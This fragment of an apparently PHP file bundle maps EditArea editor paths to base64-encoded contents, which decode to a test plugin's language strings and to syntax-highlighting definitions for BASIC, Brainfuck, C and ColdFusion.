  './AJAX-B/edit_area/plugins/test/langs/pt.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInB0Iix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/ru.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInJ1Iix7DQp0ZXN0X3NlbGVjdDogItCy0YvQsdGA0LDRgtGMINGC0Y3QsyIsDQp0ZXN0X2J1dDogItGC0LXRgdGC0LjRgNC+0LLQsNGC0Ywg0LrQvdC+0L/QutGDIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/langs/sk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInNrIix7DQp0ZXN0X3NlbGVjdDogInZ5YmVyIHRhZyIsDQp0ZXN0X2J1dDogInRlc3RvdmFjaWUgdGxhxI1pZGxvIg0KfSk7DQo=',
  './AJAX-B/edit_area/reg_syntax/basic.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImJhc2ljIl0gPSB7DQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHsxIDogIiciLCAyIDogJ3JlbSd9DQoJLCdDT01NRU5UX01VTFRJJyA6IHsgfQ0KCSwnUVVPVEVNQVJLUycgOiB7MTogJyInfQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiBmYWxzZQ0KCSwnS0VZV09SRFMnIDogew0KCQknc3RhdGVtZW50cycgOiBbDQoJCQknaWYnLCd0aGVuJywnZm9yJywnd2VuZCcsJ3doaWxlJywNCgkJCSdlbHNlJywnZWxzZWlmJywnc2VsZWN0JywnY2FzZScsJ2VuZCBzZWxlY3QnLA0KCQkJJ3VudGlsJywnbmV4dCcsJ3N0ZXAnLCd0bycsJ2VuZCBpZicsICdjYWxsJw0KCQldDQoJCSwna2V5d29yZHMnIDogWw0KCQkJJ3N1YicsICdlbmQgc3ViJywgJ2Z1bmN0aW9uJywgJ2VuZCBmdW5jdGlvbicsICdleGl0JywNCgkJCSdleGl0IGZ1bmN0aW9uJywgJ2RpbScsICdyZWRpbScsICdzaGFyZWQnLCAnY29uc3QnLA0KCQkJJ2lzJywgJ2Fic29sdXRlJywgJ2FjY2VzcycsICdhbnknLCAnYXBwZW5kJywgJ2FzJywNCgkJCSdiYXNlJywgJ2JlZXAnLCAnYmluYXJ5JywgJ2Jsb2FkJywgJ2JzYXZlJywgJ2NoYWluJywNCgkJCSdjaGRpcicsICdjaXJjbGUnLCAnY2xlYXInLCAnY2xvc2UnLCAnY2xzJywgJ2NvbG9yJywNCgkJCSdjb20nLCAnY29tbW9uJywgJ2RhdGEnLCAnZGF0ZScsICdkZWNsYXJlJywgJ2RlZicsDQoJCQknZGVmZGJsJywgJ2RlZmludCcsICdkZWZsbmcnLCAnZGVmc25nJywgJ2RlZnN0cicsDQoJCQknZG91YmxlJywgJ2RyYXcnLCAnZW52aXJvbicsICdlcmFzZScsICdlcnJvcicsICdmaWVsZCcsDQoJCQknZmlsZXMnLCAnZm4nLCAnZ2V0JywgJ2dvc3ViJywgJ2dvdG8nLCAnaW50ZWdlcicsICdrZXknLA0KCQkJJ2tpbGwnLCAnbGV0JywgJ2xpbmUnLCAnbGlzdCcsICdsb2NhdGUnLCAnbG9jaycsICdsb25nJywNCgkJCSdscHJpbnQnLCAnbHNldCcsICdta2RpcicsICduYW1lJywgJ29mZicsICdvbicsICdvcGVuJywNCgkJCSdvcHRpb24nLCAnb3V0JywgJ291dHB1dCcsICdwYWludCcsICdwYWxldHRlJywgJ3Bjb3B5JywNCgkJCSdwb2tlJywgJ3ByZXNldCcsICdwcmludCcsICdwc2V0JywgJ3B1dCcsICdyYW5kb20nLA0KCQkJJ3JhbmRvbWl6ZScsICdyZWFkJywgJ3Jlc2V0JywgJ3Jlc3RvcmUnLCAncmVzdW1lJywNCgkJCSdyZXR1cm4nLCAncm1kaXInLCAncnNldCcsICdydW4nLCAnc2NyZWVuJywgJ3NlZycsDQoJCQknc2hlbGwnLCAnc2luZ2xlJywgJ3NsZWVwJywgJ3NvdW5kJywgJ3N0YXRpYycsICdzdG9wJywNCgkJCSdzdHJpZycsICdzdHJpbmcnLCAnc3dhcCcsICdzeXN0ZW0nLCAndGltZScsICd0aW1lcicsDQoJCQkndHJvZmYnLCAndHJvbicsICd0eXBlJywgJ3VubG9jaycsICd1c2luZycsICd2aWV3JywNCgkJCSd3YWl0JywgJ3dpZHRoJywgJ3dpbmRvdycsICd3cml0ZScNCgkgICAgICAgIF0NCgkJLCdmdW5jdGlvbnMnIDogWw0KCQkJJ2FicycsICdhc2MnLCAnYXRuJywgJ2NkYmwnLCAnY2hyJywgJ2NpbnQnLCAnY2xuZycsDQoJCQknY29zJywgJ2NzbmcnLCAnY3NybGluJywgJ2N2ZCcsICdjdmRtYmYnLCAnY3ZpJywgJ2N2bCcsDQoJCQknY3ZzJywgJ2N2c21iZicsICdlb2YnLCAnZXJkZXYnLCAnZXJsJywgJ2VycicsICdleHAnLA0KCQkJJ2ZpbGVhdHRyJywgJ2ZpeCcsICdmcmUnLCAnZnJlZWZpbGUnLCAnaGV4JywgJ2lua2V5JywNCgkJCSdpbnAnLCAnaW5wdXQnLCAnaW5zdHInLCAnaW50JywgJ2lvY3RsJywgJ2xib3VuZCcsDQoJCQknbGNhc2UnLCAnbGVmdCcsICdsZW4nLCAnbG9jJywgJ2xvZicsICdsb2cnLCAnbHBvcycsDQoJCQknbHRyaW0nLCAnbWlkJywgJ21rZCcsICdta2RtYmYnLCAnbWtpJywgJ21rbCcsICdta3MnLA0KCQkJJ21rc21iZicsICdvY3QnLCAncGVlaycsICdwZW4nLCAncGxheScsICdwbWFwJywgJ3BvaW50JywNCgkJCSdwb3MnLCAncmlnaHQnLCAncm5kJywgJ3J0cmltJywgJ3NlZWsnLCAnc2duJywgJ3NpbicsDQoJCQknc3BhY2UnLCAnc3BjJywgJ3NxcicsICdzdGljaycsICdzdHInLCAndGFiJywgJ3RhbicsDQoJCQkndWJvdW5kJywgJ3VjYXNlJywgJ3ZhbCcsICd2YXJwdHInLCAndmFyc2VnJw0KCQldDQoJCSwnb3BlcmF0b3JzJyA6IFsNCgkJCSdhbmQnLCAnZXF2JywgJ2ltcCcsICdtb2QnLCAnbm90JywgJ29yJywgJ3hvcicNCgkJXQ0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgkJJysnLCAnLScsICcvJywgJyonLCAnPScsICc8JywgJz4nLCAnIScsICcmJw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldDQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICM5OUNDMDA7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjMzMzMzk5OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQkna2V5d29yZHMnIDogJ2NvbG9yOiAjMzM2NkZGOycNCgkJCSwnZnVuY3Rpb25zJyA6ICdjb2xvcjogIzAwMDBGRjsnDQoJCQksJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjMzM2NkZGOycNCgkJCSwnb3BlcmF0b3JzJyA6ICdjb2xvcjogI0ZGMDAwMDsnDQoJCQl9DQoJCSwnT1BFUkFUT1JTJyA6ICdjb2xvcjogI0ZGMDAwMDsnDQoJCSwnREVMSU1JVEVSUycgOiAnY29sb3I6ICMwMDAwRkY7Jw0KDQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/brainfuck.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImJyYWluZnVjayJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7fQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7fQ0KCSwnUVVPVEVNQVJLUycgOiB7fQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiB0cnVlDQoJLCdPUEVSQVRPUlMnIDpbDQoJCScrJywgJy0nDQoJXQ0KCSwnREVMSU1JVEVSUycgOlsNCgkJJ1snLCAnXScNCgldDQoJLCdSRUdFWFBTJyA6IHsNCgkJJ2JmaXNwaXMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoXFwuKSgpJw0KCQkJLCdjbGFzcycgOiAnYmZpc3BpcycNCgkJCSwnbW9kaWZpZXJzJyA6ICdnJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnDQoJCX0NCgkJLCdiZnVwaXMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoXFwsKSgpJw0KCQkJLCdjbGFzcycgOiAnYmZ1cGlzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScNCgkJfQ0KCQksJ2JmbWVtb3J5JyA6IHsNCgkJCSdzZWFyY2gnIDogJygpKFs8Pl0pKCknDQoJCQksJ2NsYXNzJyA6ICdiZm1lbW9yeScNCgkJCSwnbW9kaWZpZXJzJyA6ICdnJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnDQoJCX0NCgl9DQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICNBQUFBQUE7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjNjM4MUY4OycNCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjODhBQTAwOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzAwQzEzODsnDQoJCSwnUkVHRVhQUycgOiB7DQoJCQknYmZpc3BpcycgOiAnY29sb3I6ICNFRTAwMDA7Jw0KCQkJLCdiZnVwaXMnIDogJ2NvbG9yOiAjNDQ1NWVlOycNCgkJCSwnYmZtZW1vcnknIDogJ2NvbG9yOiAjREQwMEREOycNCgkJfQ0KCX0NCn07DQoNCg==',
  './AJAX-B/edit_area/reg_syntax/c.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImMiXSA9IHsNCgknQ09NTUVOVF9TSU5HTEUnIDogezEgOiAnLy8nfQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7Jy8qJyA6ICcqLyd9DQoJLCdRVU9URU1BUktTJyA6IHsxOiAiJyIsIDI6ICciJ30NCgksJ0tFWVdPUkRfQ0FTRV9TRU5TSVRJVkUnIDogdHJ1ZQ0KCSwnS0VZV09SRFMnIDogew0KCQknY29uc3RhbnRzJyA6IFsNCgkJCSdOVUxMJywgJ2ZhbHNlJywgJ3N0ZGluJywgJ3N0ZG91dCcsICdzdGRlcnInLCAndHJ1ZScNCgkJXQ0KCQksJ3R5cGVzJyA6IFsNCgkJCSdGSUxFJywgJ2F1dG8nLCAnY2hhcicsICdjb25zdCcsICdkb3VibGUnLA0KCQkJJ2V4dGVybicsICdmbG9hdCcsICdpbmxpbmUnLCAnaW50JywgJ2xvbmcnLCAncmVnaXN0ZXInLA0KCQkJJ3Nob3J0JywgJ3NpZ25lZCcsICdzaXplX3QnLCAnc3RhdGljJywgJ3N0cnVjdCcsDQoJCQkndGltZV90JywgJ3R5cGVkZWYnLCAndW5pb24nLCAndW5zaWduZWQnLCAndm9pZCcsDQoJCQkndm9sYXRpbGUnDQoJCV0NCgkJLCdzdGF0ZW1lbnRzJyA6IFsNCgkJCSdkbycsICdlbHNlJywgJ2VudW0nLCAnZm9yJywgJ2dvdG8nLCAnaWYnLCAnc2l6ZW9mJywNCgkJCSdzd2l0Y2gnLCAnd2hpbGUnDQoJCV0NCiAJCSwna2V5d29yZHMnIDogWw0KCQkJJ2JyZWFrJywgJ2Nhc2UnLCAnY29udGludWUnLCAnZGVmYXVsdCcsICdkZWxldGUnLA0KCQkJJ3JldHVybicNCgkJXQ0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgkJJysnLCAnLScsICcvJywgJyonLCAnPScsICc8JywgJz4nLCAnJScsICchJywgJz8nLCAnOicsICcmJw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldDQoJLCdSRUdFWFBTJyA6IHsNCgkJJ3ByZWNvbXBpbGVyJyA6IHsNCgkJCSdzZWFyY2gnIDogJygpKCNbXlxyXG5dKikoKScNCgkJCSwnY2xhc3MnIDogJ3ByZWNvbXBpbGVyJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScNCgkJfQ0KLyoJCSwncHJlY29tcGlsZXJzdHJpbmcnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCNbXHQgXSppbmNsdWRlW1x0IF0qKShbXlxyXG5dKikoW15cclxuXSpbXHJcbl0pJw0KCQkJLCdjbGFzcycgOiAncHJlY29tcGlsZXJzdHJpbmcnDQoJCQksJ21vZGlmaWVycycgOiAnZycNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJw0KCQl9Ki8NCgl9DQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICNBQUFBQUE7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjNjM4MUY4OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQknY29uc3RhbnRzJyA6ICdjb2xvcjogI0VFMDAwMDsnDQoJCQksJ3R5cGVzJyA6ICdjb2xvcjogIzAwMDBFRTsnDQoJCQksJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjNjBDQTAwOycNCgkJCSwna2V5d29yZHMnIDogJ2NvbG9yOiAjNDhCRERGOycNCgkJfQ0KCQksJ09QRVJBVE9SUycgOiAnY29sb3I6ICNGRjAwRkY7Jw0KCQksJ0RFTElNSVRFUlMnIDogJ2NvbG9yOiAjMDAzOEUxOycNCgkJLCdSRUdFWFBTJyA6IHsNCgkJCSdwcmVjb21waWxlcicgOiAnY29sb3I6ICMwMDk5MDA7Jw0KCQkJLCdwcmVjb21waWxlcnN0cmluZycgOiAnY29sb3I6ICM5OTQ0MDA7Jw0KCQl9DQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/coldfusion.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImNvbGRmdXNpb24iXSA9IHsNCgknQ09NTUVOVF9TSU5HTEUnIDogezEgOiAnLy8nLCAyIDogJyMnfQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7JzwhLS0nIDogJy0tPid9DQoJLCdDT01NRU5UX01VTFRJMicgOiB7JzwhLS0tJyA6ICctLS0+J30NCgksJ1FVT1RFTUFSS1MnIDogezE6ICInIiwgMjogJyInfQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiBmYWxzZQ0KCQksJ0tFWVdPUkRTJyA6IHsNCgkJJ3N0YXRlbWVudHMnIDogWw0KCQkJJ2luY2x1ZGUnLCAncmVxdWlyZScsICdpbmNsdWRlX29uY2UnLCAncmVxdWlyZV9vbmNlJywNCgkJCSdmb3InLCAnZm9yZWFjaCcsICdhcycsICdpZicsICdlbHNlaWYnLCAnZWxzZScsICd3aGlsZScsICdkbycsICdlbmR3aGlsZScsDQogICAgICAgICAgICAnZW5kaWYnLCAnc3dpdGNoJywgJ2Nhc2UnLCAnZW5kc3dpdGNoJywNCgkJCSdyZXR1cm4nLCAnYnJlYWsnLCAnY29udGludWUnDQoJCV0NCgkJLCdyZXNlcnZlZCcgOiBbDQoJCQknQU5EJywgJ2JyZWFrJywgJ2Nhc2UnLCAnQ09OVEFJTicsICdDT05UQUlOUycsICdjb250aW51ZScsICdkZWZhdWx0JywgJ2RvJywgDQoJCQknRE9FUycsICdlbHNlJywgJ0VRJywgJ0VRVUFMJywgJ0VRVUFMVE8nLCAnRVFWJywgJ0ZBTFNFJywgJ2ZvcicsICdHRScsIA0KCQkJJ0dSRUFURVInLCAnR1QnLCAnR1RFJywgJ2lmJywgJ0lNUCcsICdpbicsICdJUycsICdMRScsICdMRVNTJywgJ0xUJywgJ0xURScsIA0KCQkJJ01PRCcsICdORVEnLCAnTk9UJywgJ09SJywgJ3JldHVybicsICdzd2l0Y2gnLCAnVEhBTicsICdUTycsICdUUlVFJywgJ3ZhcicsIA0KCQkJJ3doaWxlJywgJ1hPUicNCgkJXQ0KCQksJ2Z1bmN0aW9ucycgOiBbDQoJCQknQWJzJywgJ0FDb3MnLCAnQXJyYXlBcHBlbmQnLCAnQXJyYXlBdmcnLCAnQXJyYXlDbGVhcicsICdBcnJheURlbGV0ZUF0JywgJ0FycmF5SW5zZXJ0QXQnLCANCgkJCSdBcnJheUlzRW1wdHknLCAnQXJyYXlMZW4nLCAnQXJyYXlNYXgnLCAnQXJyYXlNaW4nLCAnQXJyYXlOZXcnLCAnQXJyYXlQcmVwZW5kJywgJ0FycmF5UmVzaXplJywgDQoJCQknQXJyYXlTZXQnLCAnQXJyYXlTb3J0JywgJ0FycmF5U3VtJywgJ0FycmF5U3dhcCcsICdBcnJheVRvTGlzdCcsICdBc2MnLCAnQVNpbicsICdBdG4nLCAnQXV0aGVudGljYXRlZENvbnRleHQnLCANCgkJCSdBdXRoZW50aWNhdGVkVXNlcicsICdCaXRBbmQnLCAnQml0TWFza0NsZWFyJywgJ0JpdE1hc2tSZWFkJywgJ0JpdE1hc2tTZXQnLCAnQml0Tm90JywgJ0JpdE9yJywgDQoJCQknQml0U0hMTicsICdCaXRTSFJOJywgJ0JpdFhvcicsICdDZWlsaW5nJywgJ0NocicsICdDSnVzdGlmeScsICdDb21wYXJlJywgJ0NvbXBhcmVOb0Nhc2UnLCAnQ29zJywgDQoJCQknQ3JlYXRlRGF0ZScsICdDcmVhdGVEYXRlVGltZScsICdDcmVhdGVPREJDRGF0ZScsICdDcmVhdGVPREJDRGF0ZVRpbWUnLCAnQ3JlYXRlT0RCQ1RpbWUnLCANCgkJCSdDcmVhdGVUaW1lJywgJ0NyZWF0ZVRpbWVTcGFuJywgJ0RhdGVBZGQnLCAnRGF0ZUNvbXBhcmUnLCAnRGF0ZUNvbnZlcnQnLCAnRGF0ZURpZmYnLCANCgkJCSdEYXRlRm9ybWF0JywgJ0RhdGVQYXJ0JywgJ0RheScsICdEYXlPZldlZWsnLCAnRGF5T2ZXZWVrQXNTdHJpbmcnLCAnRGF5T2ZZZWFyJywgJ0RheXNJbk1vbnRoJywgDQoJCQknRGF5c0luWWVhcicsICdERScsICdEZWNpbWFsRm9ybWF0JywgJ0RlY3JlbWVudFZhbHVlJywgJ0RlY3J5cHQnLCAnRGVsZXRlQ2xpZW50VmFyaWFibGUnLCANCgkJCSdEaXJlY3RvcnlFeGlzdHMnLCAnRG9sbGFyRm9ybWF0JywgJ0R1cGxpY2F0ZScsICdFbmNyeXB0JywgJ0V2YWx1YXRlJywgJ0V4cCcsICdFeHBhbmRQYXRoJywgDQoJCQknRmlsZUV4aXN0cycsICdGaW5kJywgJ0ZpbmROb0Nhc2UnLCAnRmluZE9uZU9mJywgJ0ZpcnN0RGF5T2ZNb250aCcsICdGaXgnLCAnRm9ybWF0QmFzZU4nLCANCgkJCSdHZXRCYXNlVGFnRGF0YScsICdHZXRCYXNlVGFnTGlzdCcsICdHZXRCYXNlVGVtcGxhdGVQYXRoJywgJ0dldENsaWVudFZhcmlhYmxlc0xpc3QnLCANCgkJCSdHZXRDdXJyZW50VGVtcGxhdGVQYXRoJywgJ0dldERpcmVjdG9yeUZyb21QYXRoJywgJ0dldEV4Y2VwdGlvbicsICdHZXRGaWxlRnJvbVBhdGgnLCANCgkJCSdHZXRGdW5jdGlvbkxpc3QnLCAnR2V0SHR0cFRpbWVTdHJpbmcnLCAnR2V0SHR0cFJlcXVlc3REYXRhJywgJ0dldExvY2FsZScsICdHZXRNZXRyaWNEYXRhJywgDQoJCQknR2V0UHJvZmlsZVN0cmluZycsICdHZXRUZW1wRGlyZWN0b3J5JywgJ0dldFRlbXBGaWxlJywgJ0dldFRlbXBsYXRlUGF0aCcsICdHZXRUaWNrQ291bnQnLCANCgkJCSdHZXRUaW1lWm9uZUluZm8nLCAnR2V0VG9rZW4nLCAnSGFzaCcsICdIb3VyJywgJ0hUTUxDb2RlRm9ybWF0JywgJ0hUTUxFZGl0Rm9ybWF0JywgJ0lJZicsIA0KCQkJJ0luY3JlbWVudFZhbHVlJywgJ0lucHV0QmFzZU4nLCAnSW5zZXJ0JywgJ0ludCcsICdJc0FycmF5JywgJ0lzQXV0aGVudGljYXRlZCcsICdJc0F1dGhvcml6ZWQnLCANCgkJCSdJc0Jvb2xlYW4nLCAnSXNCaW5hcnknLCAnSXNDdXN0b21GdW5jdGlvbicsICdJc0RhdGUnLCAnSXNEZWJ1Z01vZGUnLCAnSXNEZWZpbmVkJywgJ0lzTGVhcFllYXInLCANCgkJCSdJc051bWVyaWMnLCAnSXNOdW1lcmljRGF0ZScsICdJc1Byb3RlY3RlZCcsICdJc1F1ZXJ5JywgJ0lzU2ltcGxlVmFsdWUnLCAnSXNTdHJ1Y3QnLCAnSXNXRERYJywgDQoJCQknSmF2YUNhc3QnLCAnSlNTdHJpbmdGb3JtYXQnLCAnTENhc2UnLCAnTGVmdCcsICdMZW4nLCAnTGlzdEFwcGVuZCcsICdMaXN0Q2hhbmdlRGVsaW1zJywgDQoJCQknTGlzdENvbnRhaW5zJywgJ0xpc3RDb250YWluc05vQ2FzZScsICdMaXN0RGVsZXRlQXQnLCAnTGlzdEZpbmQnLCAnTGlzdEZpbmROb0Nhc2UnLCAnTGlzdEZpcnN0JywgDQoJCQknTGlzdEdldEF0JywgJ0xpc3RJbnNlcnRBdCcsICdMaXN0TGFzdCcsICdMaXN0TGVuJywgJ0xpc3RQcmVwZW5kJywgJ0xpc3RRdWFsaWZ5JywgJ0xpc3RSZXN0JywgDQoJCQknTGlzdFNldEF0JywgJ0xpc3RTb3J0JywgJ0xpc3RUb0FycmF5JywgJ0xpc3RWYWx1ZUNvdW50JywgJ0xpc3RWYWx1ZUNvdW50Tm9DYXNlJywgJ0xKdXN0aWZ5JywgDQoJCQknTG9nJywgJ0xvZzEwJywgJ0xTQ3VycmVuY3lGb3JtYXQnLCAnTFNEYXRlRm9ybWF0JywgJ0xTRXVyb0N1cnJlbmN5Rm9ybWF0JywgJ0xTSXNDdXJyZW5jeScsIA0KCQkJJ0xTSXNEYXRlJywgJ0xTSXNOdW1lcmljJywgJ0xTTnVtYmVyRm9ybWF0JywgJ0xTUGFyc2VDdXJyZW5jeScsICdMU1BhcnNlRGF0ZVRpbWUnLCAnTFNQYXJzZU51bWJlcicsIA0KCQkJJ0xTVGltZUZvcm1hdCcsICdMVHJpbScsICdNYXgnLCAnTWlkJywgJ01pbicsICdNaW51dGUnLCAnTW9udGgnLCAnTW9udGhBc1N0cmluZycsICdOb3cnLCAnTnVtYmVyRm9ybWF0JywgDQoJCQknUGFyYWdyYXBoRm9ybWF0JywgJ1BhcmFtZXRlckV4aXN0cycsICdQYXJzZURhdGVUaW1lJywgJ1BpJywgJ1ByZXNlcnZlU2luZ2xlUXVvdGVzJywgJ1F1YXJ0ZXInLCANCgkJCSdRdWVyeUFkZFJvdycsICdRdWVyeU5ldycsICdRdWVyeVNldENlbGwnLCAnUXVvdGVkVmFsdWVMaXN0JywgJ1JhbmQnLCAnUmFuZG9taXplJywgJ1JhbmRSYW5nZScsIA0KCQkJJ1JFRmluZCcsICdSRUZpbmROb0Nhc2UnLCAnUmVtb3ZlQ2hhcnMnLCAnUmVwZWF0U3RyaW5nJywgJ1JlcGxhY2UnLCAnUmVwbGFjZUxpc3QnLCAnUmVwbGFjZU5vQ2FzZScsIA0KCQkJJ1JFUmVwbGFjZScsICdSRVJlcGxhY2VOb0Nhc2UnLCAnUmV2ZXJzZScsICdSaWdodCcsICdSSnVzdGlmeScsICdSb3VuZCcsICdSVHJpbScsICdTZWNvbmQnLCAnU2V0TG9jYWxlJywgDQoJCQknU2V0UHJvZmlsZVN0cmluZycsICdTZXRWYXJpYWJsZScsICdTZ24nLCAnU2luJywgJ1NwYW5FeGNsdWRpbmcnLCAnU3BhbkluY2x1ZGluZycsICdTcXInLCAnU3RyaXBDUicsIA0KCQkJJ1N0cnVjdEFwcGVuZCcsICdTdHJ1Y3RDbGVhcicsICdTdHJ1Y3RDb3B5JywgJ1N0cnVjdENvdW50JywgJ1N0cnVjdERlbGV0ZScsICdTdHJ1Y3RGaW5kJywgJ1N0cnVjdEZpbmRLZXknLCANCgkJCSdTdHJ1Y3RGaW5kVmFsdWUnLCAnU3RydWN0R2V0JywgJ1N0cnVjdEluc2VydCcsICdTdHJ1Y3RJc0VtcHR5JywgJ1N0cnVjdEtleUFycmF5JywgJ1N0cnVjdEtleUV4aXN0cycsIA0KCQkJJ1N0cnVjdEtleUxpc3QnLCAnU3RydWN0TmV3JywgJ1N0cnVjdFNvcnQnLCAnU3RydWN0VXBkYXRlJywgJ1RhbicsICdUaW1lRm9ybWF0JywgJ1RvQmFzZTY0JywgJ1RvQmluYXJ5JywgDQoJCQknVG9TdHJpbmcnLCAnVHJpbScsICdVQ2FzZScsICdVUkxEZWNvZGUnLCAnVVJMRW5jb2RlZEZvcm1hdCcsICdWYWwnLCAnVmFsdWVMaXN0JywgJ1dlZWsnLCAnV3JpdGVPdXRwdXQnLCANCgkJCSdYTUxGb3JtYXQnLCAnWWVhcicsICdZZXNOb0Zvcm1hdCcNCgkJXQ0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgkJJysnLCAnLScsICcvJywgJyonLCAnJScsICchJywgJyYmJywgJ3x8Jw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldDQoJLCdSRUdFWFBTJyA6IHsNCgkJJ2RvY3R5cGUnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoPCFET0NUWVBFW14+XSo+KSgpJw0KCQkJLCdjbGFzcycgOiAnZG9jdHlwZScNCgkJCSwnbW9kaWZpZXJzJyA6ICcnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgkJLCdjZnRhZ3MnIDogew0KCQkJJ3NlYXJjaCcgOiAnKDwpKC9jZlthLXpdW14gXHJcblx0Pl0qKShbXj5dKj4pJw0KCQkJLCdjbGFzcycgOiAnY2Z0YWdzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2dpJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnIC8vIGJlZm9yZSBvciBhZnRlcg0KCQl9DQoJCSwnY2Z0YWdzMicgOiB7DQoJCQknc2VhcmNoJyA6ICcoPCkoY2ZbYS16XVteIFxyXG5cdD5dKikoW14+XSo+KScNCgkJCSwnY2xhc3MnIDogJ2NmdGFnczInDQoJCQksJ21vZGlmaWVycycgOiAnZ2knDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgkJLCd0YWdzJyA6IHsNCgkJCSdzZWFyY2gnIDogJyg8KSgvP1thLXpdW14gXHJcblx0Pl0qKShbXj5dKj4pJw0KCQkJLCdjbGFzcycgOiAndGFncycNCgkJCSwnbW9kaWZpZXJzJyA6ICdnaScNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJyAvLyBiZWZvcmUgb3IgYWZ0ZXINCgkJfQ0KCQksJ2F0dHJpYnV0ZXMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCB8XG58XHJ8XHQpKFteIFxyXG5cdD1dKykoPSknDQoJCQksJ2NsYXNzJyA6ICdhdHRyaWJ1dGVzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgl9DQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICNBQUFBQUE7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjNjM4MUY4OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQkncmVzZXJ2ZWQnIDogJ2NvbG9yOiAjNDhCRERGOycNCgkJCSwnZnVuY3Rpb25zJyA6ICdjb2xvcjogIzAwMDBGRjsnDQoJCQksJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjNjBDQTAwOycNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRTc3NUYwOycNCgkJLCdERUxJTUlURVJTJyA6ICcnDQoJCSwnUkVHRVhQUycgOiB7DQoJCQknYXR0cmlidXRlcyc6ICdjb2xvcjogIzk5MDAzMzsnDQoJCQksJ2NmdGFncyc6ICdjb2xvcjogIzk5MDAzMzsnDQoJCQksJ2NmdGFnczInOiAnY29sb3I6ICM5OTAwMzM7Jw0KCQkJLCd0YWdzJzogJ2NvbG9yOiAjMDAwMDk5OycNCgkJCSwnZG9jdHlwZSc6ICdjb2xvcjogIzhEQ0ZCNTsnDQoJCQksJ3Rlc3QnOiAnY29sb3I6ICMwMEZGMDA7Jw0KCQl9CQ0KCX0JCQ0KfTsNCgogCSAgCSAK',
